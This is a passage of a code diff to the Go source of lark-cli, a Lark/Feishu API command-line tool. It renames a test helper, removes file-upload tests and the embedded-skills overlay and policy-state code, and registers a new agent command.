 	cmd.SetArgs([]string{"POST", "/open-apis/test", "--as", "bot", "--params", "-", "--data", "-"})
 	err := cmd.Execute()
 	if err == nil {
@@ -291,7 +272,7 @@ func TestApiCmd_OutputAndPageAllConflict(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
+	cmd := NewCmdApi(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return apiRun(opts)
 	})
@@ -316,7 +297,7 @@ func TestApiCmd_BinaryResponse_AutoSave(t *testing.T) {
 		ContentType: "application/octet-stream",
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/drive/v1/files/xxx/download", "--as", "bot"})
 	err := cmd.Execute()
 	if err != nil {
@@ -347,7 +328,7 @@ func TestApiCmd_PageAll_NonBatchAPI_FallbackToJSON(t *testing.T) {
 		},
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users/u123", "--as", "bot", "--page-all", "--format", "ndjson"})
 	err := cmd.Execute()
 	if err != nil {
@@ -387,7 +368,7 @@ func TestApiCmd_PageAll_NonBatchAPI_ErrorStillOutputsJSON(t *testing.T) {
 		},
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/im/v1/chats/oc_xxx/announcement", "--as", "bot", "--page-all"})
 	err := cmd.Execute()
 	// Should return an error
@@ -428,7 +409,7 @@ func TestApiCmd_PageAll_BatchAPI_StreamsItems(t *testing.T) {
 		},
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
 	err := cmd.Execute()
 	if err != nil {
@@ -467,7 +448,7 @@ func TestApiCmd_PageAll_StreamBusinessErrorDoesNotDumpJSON(t *testing.T) {
 		},
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
 	err := cmd.Execute()
 	if err == nil {
@@ -502,7 +483,7 @@ func TestApiCmd_PageAll_BatchAPI_DefaultJSONEnvelope(t *testing.T) {
 		},
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all"})
 	if err := cmd.Execute(); err != nil {
 		t.Fatalf("unexpected error: %v", err)
@@ -568,8 +549,8 @@ func TestApiCmd_PageAll_DefaultJSONRunsContentSafety(t *testing.T) {
 		},
 	})
 
-	root := newTestRootCmd()
-	root.AddCommand(newTestApiCmd(f, nil))
+	root := &cobra.Command{Use: "lark-cli"}
+	root.AddCommand(NewCmdApi(f, nil))
 	root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all"})
 	if err := root.Execute(); err != nil {
 		t.Fatalf("unexpected error: %v", err)
@@ -619,8 +600,8 @@ func TestApiCmd_PageAll_StreamFormatRunsContentSafety(t *testing.T) {
 		},
 	})
 
-	root := newTestRootCmd()
-	root.AddCommand(newTestApiCmd(f, nil))
+	root := &cobra.Command{Use: "lark-cli"}
+	root.AddCommand(NewCmdApi(f, nil))
 	root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
 	if err := root.Execute(); err != nil {
 		t.Fatalf("unexpected error: %v", err)
@@ -675,8 +656,8 @@ func TestApiCmd_PageAll_StreamFormatBlockSkipsBlockedPage(t *testing.T) {
 		},
 	})
 
-	root := newTestRootCmd()
-	root.AddCommand(newTestApiCmd(f, nil))
+	root := &cobra.Command{Use: "lark-cli"}
+	root.AddCommand(NewCmdApi(f, nil))
 	root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
 	err := root.Execute()
 	if err == nil {
@@ -740,7 +721,7 @@ func TestApiCmd_JqFlag_Parsing(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
+	cmd := NewCmdApi(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -760,7 +741,7 @@ func TestApiCmd_JqFlag_ShortForm(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
+	cmd := NewCmdApi(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -779,7 +760,7 @@ func TestApiCmd_JqAndOutputConflict(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
+	cmd := NewCmdApi(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--jq", ".data", "--output", "file.bin"})
@@ -810,7 +791,7 @@ func TestApiCmd_JqFilter_AppliesExpression(t *testing.T) {
 		},
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/test/jq", "--as", "bot", "--jq", ".data.items[].name"})
 	err := cmd.Execute()
 	if err != nil {
@@ -831,7 +812,7 @@ func TestApiCmd_JqAndFormatConflict(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
+	cmd := NewCmdApi(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--jq", ".data", "--format", "ndjson"})
@@ -849,7 +830,7 @@ func TestApiCmd_JqInvalidExpression(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
-	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
+	cmd := NewCmdApi(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--jq", "invalid["})
@@ -878,7 +859,7 @@ func TestApiCmd_PageAll_WithJq(t *testing.T) {
 		},
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--jq", ".data.items[].id"})
 	err := cmd.Execute()
 	if err != nil {
@@ -899,7 +880,7 @@ func TestApiCmd_MethodUppercase(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
+	cmd := NewCmdApi(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -918,7 +899,7 @@ func TestApiCmd_FileFlagParsing(t *testing.T) {
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 	var gotOpts *APIOptions
-	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
+	cmd := NewCmdApi(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -936,7 +917,7 @@ func TestApiCmd_FileAndOutputConflict(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
-	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
+	cmd := NewCmdApi(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"POST", "/open-apis/test", "--as", "bot", "--file", "photo.jpg", "--output", "out.json"})
@@ -953,7 +934,7 @@ func TestApiCmd_FileWithGET(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
-	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
+	cmd := NewCmdApi(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--file", "photo.jpg"})
@@ -970,7 +951,7 @@ func TestApiCmd_FileStdinConflictWithData(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
-	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
+	cmd := NewCmdApi(f, func(opts *APIOptions) error {
 		return apiRun(opts)
 	})
 	cmd.SetArgs([]string{"POST", "/open-apis/test", "--as", "bot", "--file", "-", "--data", "-"})
@@ -993,7 +974,7 @@ func TestApiCmd_DryRunWithFile(t *testing.T) {
 	f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	cmd.SetArgs([]string{"POST", "/open-apis/im/v1/images", "--file", "image=" + tmpFile, "--data", `{"image_type":"message"}`, "--dry-run", "--as", "bot"})
 	err := cmd.Execute()
 	if err != nil {
@@ -1034,7 +1015,7 @@ func TestApiCmd_PermissionError_DerivesFirstClassFields(t *testing.T) {
 		},
 	})
 
-	cmd := newTestApiCmd(f, nil)
+	cmd := NewCmdApi(f, nil)
 	cmd.SetArgs([]string{"GET", "/open-apis/docx/v1/documents/test", "--as", "bot"})
 	err := cmd.Execute()
 	if err == nil {
@@ -1060,7 +1041,7 @@ func TestApiCmd_JsonFlag_Accepted(t *testing.T) {
 	})
 
 	var gotOpts *APIOptions
-	cmd := newTestApiCmd(f, func(opts *APIOptions) error {
+	cmd := NewCmdApi(f, func(opts *APIOptions) error {
 		gotOpts = opts
 		return nil
 	})
@@ -1073,157 +1054,3 @@ func TestApiCmd_JsonFlag_Accepted(t *testing.T) {
 		t.Errorf("expected method GET, got %s", gotOpts.Method)
 	}
 }
-
-// parseMultipartFilenames drives one api --file upload through the mock
-// transport and returns a map of field name -> part filename parsed from the
-// captured multipart body, plus the map of text form fields. It fails the test
-// if the captured request is not multipart/form-data.
-func parseMultipartFilenames(t *testing.T, stub *httpmock.Stub) (map[string]string, map[string]string) {
-	t.Helper()
-	ct := stub.CapturedHeaders.Get("Content-Type")
-	mediaType, params, err := mime.ParseMediaType(ct)
-	if err != nil {
-		t.Fatalf("parse Content-Type %q: %v", ct, err)
-	}
-	if !strings.HasPrefix(mediaType, "multipart/") {
-		t.Fatalf("Content-Type = %q, want multipart/*", mediaType)
-	}
-	filenames := map[string]string{}
-	fields := map[string]string{}
-	mr := multipart.NewReader(bytes.NewReader(stub.CapturedBody), params["boundary"])
-	for {
-		part, err := mr.NextPart()
-		if err != nil {
-			break
-		}
-		if fn := part.FileName(); fn != "" {
-			filenames[part.FormName()] = fn
-		} else {
-			buf := &bytes.Buffer{}
-			_, _ = buf.ReadFrom(part)
-			fields[part.FormName()] = buf.String()
-		}
-	}
-	return filenames, fields
-}
-
-func TestApiCmd_FileUpload_PreservesFilename(t *testing.T) {
-	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-	})
-
-	dir := t.TempDir()
-	cmdutil.TestChdir(t, dir)
-	if err := os.WriteFile(filepath.Join(dir, "invoice.pdf"), []byte("%PDF-1.4 fake"), 0600); err != nil {
-		t.Fatalf("write test file: %v", err)
-	}
-
-	stub := &httpmock.Stub{
-		URL:  "/open-apis/approval/v4/files/upload",
-		Body: map[string]interface{}{"code": 0, "msg": "success", "data": map[string]interface{}{"code": "file_xxx"}},
-	}
-	reg.Register(stub)
-
-	cmd := NewCmdApi(f, nil)
-	cmd.SetArgs([]string{"POST", "/open-apis/approval/v4/files/upload", "--as", "bot", "--file", "invoice.pdf"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-
-	filenames, _ := parseMultipartFilenames(t, stub)
-	if got := filenames["file"]; got != "invoice.pdf" {
-		t.Fatalf("part filename for field %q = %q, want %q", "file", got, "invoice.pdf")
-	}
-}
-
-func TestApiCmd_FileUpload_FieldPrefixKeepsBasename(t *testing.T) {
-	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-	})
-
-	dir := t.TempDir()
-	cmdutil.TestChdir(t, dir)
-	if err := os.MkdirAll(filepath.Join(dir, "sub"), 0700); err != nil {
-		t.Fatalf("mkdir: %v", err)
-	}
-	if err := os.WriteFile(filepath.Join(dir, "sub", "invoice.pdf"), []byte("%PDF-1.4 fake"), 0600); err != nil {
-		t.Fatalf("write test file: %v", err)
-	}
-
-	stub := &httpmock.Stub{
-		URL:  "/open-apis/approval/v4/files/upload",
-		Body: map[string]interface{}{"code": 0, "msg": "success", "data": map[string]interface{}{"code": "file_xxx"}},
-	}
-	reg.Register(stub)
-
-	cmd := NewCmdApi(f, nil)
-	cmd.SetArgs([]string{"POST", "/open-apis/approval/v4/files/upload", "--as", "bot", "--file", "upload=sub/invoice.pdf"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-
-	filenames, _ := parseMultipartFilenames(t, stub)
-	if _, ok := filenames["upload"]; !ok {
-		t.Fatalf("expected field name %q from field=path form, got fields %v", "upload", filenames)
-	}
-	if got := filenames["upload"]; got != "invoice.pdf" {
-		t.Fatalf("part filename for field %q = %q, want %q (basename only)", "upload", got, "invoice.pdf")
-	}
-}
-
-func TestApiCmd_FileUpload_WithDataFields(t *testing.T) {
-	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-	})
-
-	dir := t.TempDir()
-	cmdutil.TestChdir(t, dir)
-	if err := os.WriteFile(filepath.Join(dir, "invoice.pdf"), []byte("%PDF-1.4 fake"), 0600); err != nil {
-		t.Fatalf("write test file: %v", err)
-	}
-
-	stub := &httpmock.Stub{
-		URL:  "/open-apis/approval/v4/files/upload",
-		Body: map[string]interface{}{"code": 0, "msg": "success", "data": map[string]interface{}{"code": "file_xxx"}},
-	}
-	reg.Register(stub)
-
-	cmd := NewCmdApi(f, nil)
-	cmd.SetArgs([]string{"POST", "/open-apis/approval/v4/files/upload", "--as", "bot",
-		"--file", "invoice.pdf", "--data", `{"type":"attachment"}`})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-
-	filenames, fields := parseMultipartFilenames(t, stub)
-	if got := filenames["file"]; got != "invoice.pdf" {
-		t.Fatalf("part filename = %q, want %q", got, "invoice.pdf")
-	}
-	if got := fields["type"]; got != "attachment" {
-		t.Fatalf("text field type = %q, want %q", got, "attachment")
-	}
-}
-
-func TestApiCmd_FileUpload_StdinFallsBackToUnknown(t *testing.T) {
-	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-	})
-	f.IOStreams.In = bytes.NewReader([]byte("stdin-bytes"))
-
-	stub := &httpmock.Stub{
-		URL:  "/open-apis/approval/v4/files/upload",
-		Body: map[string]interface{}{"code": 0, "msg": "success", "data": map[string]interface{}{"code": "file_xxx"}},
-	}
-	reg.Register(stub)
-
-	cmd := NewCmdApi(f, nil)
-	cmd.SetArgs([]string{"POST", "/open-apis/approval/v4/files/upload", "--as", "bot", "--file", "-"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-
-	filenames, _ := parseMultipartFilenames(t, stub)
-	if got := filenames["file"]; got != "unknown-file" {
-		t.Fatalf("stdin part filename = %q, want %q (no stable local name, fallback)", got, "unknown-file")
-	}
-}

cmd/build.go

@@ -8,6 +8,8 @@ import (
 	"io"
 	"io/fs"
 
+	_ "github.com/larksuite/cli/agent"
+	"github.com/larksuite/cli/cmd/agent"
 	"github.com/larksuite/cli/cmd/api"
 	"github.com/larksuite/cli/cmd/auth"
 	"github.com/larksuite/cli/cmd/completion"
@@ -21,16 +23,12 @@ import (
 	cmdupdate "github.com/larksuite/cli/cmd/update"
 	"github.com/larksuite/cli/cmd/whoami"
 	_ "github.com/larksuite/cli/events"
-	"github.com/larksuite/cli/extension/platform"
 	"github.com/larksuite/cli/internal/apicatalog"
 	"github.com/larksuite/cli/internal/build"
 	"github.com/larksuite/cli/internal/cmdpolicy"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/hook"
 	"github.com/larksuite/cli/internal/keychain"
-	internalplatform "github.com/larksuite/cli/internal/platform"
-	"github.com/larksuite/cli/internal/policystate"
-	"github.com/larksuite/cli/internal/skillpolicy"
 	"github.com/larksuite/cli/shortcuts"
 	"github.com/spf13/cobra"
 )
@@ -46,7 +44,6 @@ type buildConfig struct {
 	skipStrictMode bool
 	skipService    bool
 	serviceCatalog *apicatalog.Catalog
-	skillsOverlay  *platform.SkillsOverlay
 }
 
 // WithIO sets the IO streams for the CLI by wrapping raw reader/writers.
@@ -64,17 +61,6 @@ func WithKeychain(kc keychain.KeychainAccess) BuildOption {
 	}
 }
 
-// WithEmbeddedSkills customizes the CLI's embedded skills for a caller that builds
-// the command tree directly instead of registering a plugin. It is the
-// build-option analogue of a plugin's EmbeddedSkills(...): the same single-owner
-// rule applies, so combining WithEmbeddedSkills with a plugin that also customizes
-// skills aborts startup. nil is a no-op.
-func WithEmbeddedSkills(spec *platform.SkillsOverlay) BuildOption {
-	return func(c *buildConfig) {
-		c.skillsOverlay = spec
-	}
-}
-
 // embeddedSkillContent is the skill tree wired into cmdutil.Factory.SkillContent
 // at build time. It is registered by the repo-root package main's init via
 // SetEmbeddedSkillContent — it cannot be threaded through main.go without
@@ -87,21 +73,6 @@ var embeddedSkillContent fs.FS
 // supply its own skill content.
 func SetEmbeddedSkillContent(fsys fs.FS) { embeddedSkillContent = fsys }
 
-// withEmbeddedSkillsOwner labels a WithEmbeddedSkills contribution in the skill resolver so a
-// WithEmbeddedSkills + plugin-Skills collision names a stable, non-plugin owner.
-const withEmbeddedSkillsOwner = "cmd.WithEmbeddedSkills"
-
-// resolveSkillContent composes the effective embedded skill tree from the CLI
-// default, an optional WithEmbeddedSkills spec, and plugin SkillsOverlays, enforcing the
-// single-owner rule across all sources.
-func resolveSkillContent(cfg *buildConfig, pluginSkills []skillpolicy.PluginSkill) (fs.FS, error) {
-	sources := pluginSkills
-	if cfg.skillsOverlay != nil {
-		sources = append([]skillpolicy.PluginSkill{{PluginName: withEmbeddedSkillsOwner, SkillsOverlay: cfg.skillsOverlay}}, sources...)
-	}
-	return skillpolicy.Resolve(embeddedSkillContent, sources)
-}
-
 // HideProfile sets the visibility policy for the root-level --profile flag.
 // When hide is true the flag stays registered (so existing invocations still
 // parse) but is omitted from help and shell completion. Typically called as
@@ -185,14 +156,6 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 		cfg.streams = cmdutil.SystemIO()
 	}
 
-	// Reset every process-global snapshot up front, not only inside
-	// applyUserPolicyPruning: the skipPlugins and install-failure paths
-	// return before pruning runs, and a previous build's state must not
-	// leak into this one (long-lived embedders, test sequences).
-	policystate.SetPluginDeniedDomains(nil)
-	cmdpolicy.SetActive(nil)
-	internalplatform.SetActiveInventory(nil)
-
 	f := cmdutil.NewDefault(cfg.streams, inv)
 	if cfg.keychain != nil {
 		f.Keychain = cfg.keychain
@@ -214,16 +177,7 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 	// rootUsageTemplate.
 	rootCmd.SetUsageTemplate(rootUsageTemplate)
 
-	// The skill-content getter also gates on the skills command domain:
-	// every pointer it feeds renders as `lark-cli skills read ...`, so with
-	// that domain plugin-denied the pointers would all be dead ends even
-	// though the content itself still exists.
-	installTipsHelpFunc(rootCmd, func() fs.FS {
-		if policystate.DomainDeniedByPlugin("skills") {
-			return nil
-		}
-		return f.SkillContent
-	})
+	installTipsHelpFunc(rootCmd)
 	rootCmd.SilenceErrors = true
 	// SilenceUsage as a static field (not only in PersistentPreRun) so it also
 	// covers flag-parse errors, which fail before PreRun runs — otherwise cobra
@@ -250,6 +204,7 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 	rootCmd.AddCommand(cmdupdate.NewCmdUpdate(f))
 	rootCmd.AddCommand(cmdevent.NewCmdEvents(f))
 	rootCmd.AddCommand(skill.NewCmdSkill(f))
+	rootCmd.AddCommand(agent.NewCmdAgent(f))
 	if !cfg.skipService {
 		if cfg.serviceCatalog != nil {
 			service.RegisterServiceCommandsFromCatalog(ctx, rootCmd, f, *cfg.serviceCatalog)
@@ -271,13 +226,6 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 	}
 
 	if cfg.skipPlugins {
-		installHelpCommand(rootCmd)
-		resolved, err := resolveSkillContent(cfg, nil)
-		if err != nil {
-			installPluginSkillErrorGuard(rootCmd, err)
-			return f, rootCmd, nil
-		}
-		f.SkillContent = resolved
 		recordInventory(nil)
 		return f, rootCmd, nil
 	}
@@ -288,52 +236,23 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 		return f, rootCmd, nil
 	}
 	var pluginRules []cmdpolicy.PluginRule
-	var pluginSkills []skillpolicy.PluginSkill
 	var registry *hook.Registry
 	if installResult != nil {
 		pluginRules = installResult.PluginRules
-		pluginSkills = installResult.PluginSkills
 		registry = installResult.Registry
 	}
 
 	// Policy errors fail-CLOSED when a plugin contributed (security
 	// intent must not be silently dropped); yaml-only errors fail-OPEN
 	// with a warning so a typo can't lock the user out.
-	denied, policyErr := applyUserPolicyPruning(rootCmd, pluginRules)
-	if policyErr != nil {
+	if err := applyUserPolicyPruning(rootCmd, pluginRules); err != nil {
 		if len(pluginRules) > 0 {
-			installPluginConflictGuard(rootCmd, policyErr)
+			installPluginConflictGuard(rootCmd, err)
 			return f, rootCmd, nil
 		}
-		warnPolicyError(cfg.streams.ErrOut, policyErr)
+		warnPolicyError(cfg.streams.ErrOut, err)
 	}
 
-	// The custom help command attaches AFTER policy evaluation on purpose:
-	// it is a framework meta command, and inside the evaluated tree an
-	// allow-list rule (Allow: ["im/**"]) would deny it as
-	// domain_not_allowed — cobra's stock help command is likewise attached
-	// only at Execute time and never evaluated.
-	installHelpCommand(rootCmd)
-
-	// Presentation passes: a capability an integrator plugin denied
-	// presents as absent — retired global flags (--profile), no skills
-	// footer, diagnostics hidden or retired. Enforcement stays with
-	// cmdpolicy.Apply above; these only shape help and fixed hints.
-	applyPluginPresentation(rootCmd, installResult, denied)
-
-	// Resolve the embedded skill tree BEFORE wiring hooks: an invalid
-	// SkillsOverlay must fail fast, before wireHooks emits Startup, so a Startup
-	// side effect is never stranded without its Shutdown. Both skill readers
-	// -- `skills list`/`read` and the --help guidance -- then read this one
-	// f.SkillContent. Fails closed: never silently ship defaults once a
-	// customization is declared.
-	resolvedSkills, skillErr := resolveSkillContent(cfg, pluginSkills)
-	if skillErr != nil {
-		installPluginSkillErrorGuard(rootCmd, skillErr)
-		return f, rootCmd, nil
-	}
-	f.SkillContent = resolvedSkills
-
 	if registry != nil {
 		if err := wireHooks(ctx, rootCmd, registry); err != nil {
 			installPluginLifecycleErrorGuard(rootCmd, err)

cmd/config/config_test.go

@@ -20,7 +20,6 @@ import (
 	"github.com/larksuite/cli/internal/i18n"
 	"github.com/larksuite/cli/internal/keychain"
 	"github.com/larksuite/cli/internal/output"
-	"github.com/larksuite/cli/internal/policystate"
 )
 
 type noopConfigKeychain struct{}
@@ -565,54 +564,3 @@ func TestPrintLangPreferenceConfirmation(t *testing.T) {
 		}
 	})
 }
-
-// The "no active profile" hint points at `lark-cli profile list`; that pointer
-// must be gated on the profile domain still being present. When a plugin denies
-// the profile domain, the hint would be a dead end, so it is omitted — the error
-// itself is unchanged.
-func TestConfigShowRun_ProfileHintGatedByPluginDenial(t *testing.T) {
-	multi := &core.MultiAppConfig{
-		CurrentApp: "missing",
-		Apps: []core.AppConfig{{
-			Name:      "default",
-			AppId:     "app-default",
-			AppSecret: core.PlainSecret("secret-default"),
-			Brand:     core.BrandFeishu,
-		}},
-	}
-
-	hintOf := func(t *testing.T) string {
-		t.Helper()
-		t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-		if err := core.SaveMultiAppConfig(multi); err != nil {
-			t.Fatalf("SaveMultiAppConfig() error = %v", err)
-		}
-		f, _, _, _ := cmdutil.TestFactory(t, nil)
-		err := configShowRun(&ConfigShowOptions{Factory: f})
-		var cfgErr *errs.ConfigError
-		if !errors.As(err, &cfgErr) {
-			t.Fatalf("expected *errs.ConfigError, got %T %v", err, err)
-		}
-		if cfgErr.Subtype != errs.SubtypeNotConfigured {
-			t.Fatalf("subtype = %q, want not_configured", cfgErr.Subtype)
-		}
-		return cfgErr.Hint
-	}
-
-	t.Run("profile domain present: hint points at profile list", func(t *testing.T) {
-		policystate.ResetForTesting()
-		t.Cleanup(policystate.ResetForTesting)
-		if h := hintOf(t); !strings.Contains(h, "lark-cli profile list") {
-			t.Errorf("hint = %q, want it to reference `lark-cli profile list`", h)
-		}
-	})
-
-	t.Run("profile domain plugin-denied: hint omitted", func(t *testing.T) {
-		policystate.ResetForTesting()
-		t.Cleanup(policystate.ResetForTesting)
-		policystate.SetPluginDeniedDomains(map[string]bool{"profile": true})
-		if h := hintOf(t); h != "" {
-			t.Errorf("hint = %q, want empty when the profile domain is plugin-denied", h)
-		}
-	})
-}

cmd/config/plugins.go

@@ -85,9 +85,6 @@ func runConfigPluginsShow(f *cmdutil.Factory) error {
 		if len(p.Rules) > 0 {
 			entry["rules"] = p.Rules
 		}
-		if p.EmbeddedSkills != nil {
-			entry["embedded_skills"] = p.EmbeddedSkills
-		}
 		entry["hooks"] = map[string]any{
 			"observers": p.Observers,
 			"wrappers":  p.Wrappers,

cmd/config/plugins_test.go

@@ -1,93 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package config
-
-import (
-	"bytes"
-	"encoding/json"
-	"testing"
-
-	"github.com/larksuite/cli/internal/cmdutil"
-	internalplatform "github.com/larksuite/cli/internal/platform"
-)
-
-// config plugins show must surface a plugin's EmbeddedSkills contribution in
-// the rendered JSON, not only in the internal inventory struct: this command is
-// the operator's window into what a fork trimmed, so the Allow/Remove/Overlay/
-// Base summary has to reach stdout. Guards the render layer, which asserting the
-// inventory struct alone does not exercise.
-func TestConfigPluginsShow_RendersEmbeddedSkills(t *testing.T) {
-	internalplatform.SetActiveInventory(&internalplatform.Inventory{
-		Plugins: []internalplatform.PluginEntry{{
-			Name:         "acme",
-			Version:      "1.0",
-			Capabilities: internalplatform.CapabilitiesView{Restricts: true, FailurePolicy: "fail-closed"},
-			EmbeddedSkills: &internalplatform.SkillsOverlayView{
-				Allow:   []string{"lark-im"},
-				Remove:  []string{"lark-a"},
-				Overlay: true,
-				Base:    true,
-			},
-		}},
-	})
-	t.Cleanup(func() { internalplatform.SetActiveInventory(nil) })
-
-	out := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: cmdutil.NewIOStreams(nil, out, &bytes.Buffer{})}
-	if err := runConfigPluginsShow(f); err != nil {
-		t.Fatalf("show: %v", err)
-	}
-
-	var got struct {
-		Plugins []struct {
-			EmbeddedSkills *internalplatform.SkillsOverlayView `json:"embedded_skills"`
-		} `json:"plugins"`
-	}
-	if err := json.Unmarshal(out.Bytes(), &got); err != nil {
-		t.Fatalf("not json: %v\n%s", err, out.String())
-	}
-	if len(got.Plugins) != 1 {
-		t.Fatalf("want 1 plugin, got %d", len(got.Plugins))
-	}
-	es := got.Plugins[0].EmbeddedSkills
-	if es == nil {
-		t.Fatalf("embedded_skills missing from rendered output:\n%s", out.String())
-	}
-	if len(es.Allow) != 1 || es.Allow[0] != "lark-im" ||
-		len(es.Remove) != 1 || es.Remove[0] != "lark-a" ||
-		!es.Overlay || !es.Base {
-		t.Errorf("embedded_skills summary mismatch: %+v", es)
-	}
-}
-
-// A plugin that did not customize embedded skills must not emit an
-// embedded_skills key, so the field's presence is a reliable signal that a fork
-// trimmed the tree.
-func TestConfigPluginsShow_OmitsEmbeddedSkillsWhenAbsent(t *testing.T) {
-	internalplatform.SetActiveInventory(&internalplatform.Inventory{
-		Plugins: []internalplatform.PluginEntry{{
-			Name:         "acme",
-			Version:      "1.0",
-			Capabilities: internalplatform.CapabilitiesView{Restricts: true, FailurePolicy: "fail-closed"},
-		}},
-	})
-	t.Cleanup(func() { internalplatform.SetActiveInventory(nil) })
-
-	out := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: cmdutil.NewIOStreams(nil, out, &bytes.Buffer{})}
-	if err := runConfigPluginsShow(f); err != nil {
-		t.Fatalf("show: %v", err)
-	}
-	var raw map[string]any
-	if err := json.Unmarshal(out.Bytes(), &raw); err != nil {
-		t.Fatalf("not json: %v", err)
-	}
-	plugins, ok := raw["plugins"].([]any)
-	if !ok || len(plugins) != 1 {
-		t.Fatalf("want 1 plugin in output, got: %s", out.String())
-	}
-	if _, ok := plugins[0].(map[string]any)["embedded_skills"]; ok {
-		t.Errorf("embedded_skills must be omitted when the plugin customized no skills; got:\n%s", out.String())
-	}
-}

cmd/config/show.go

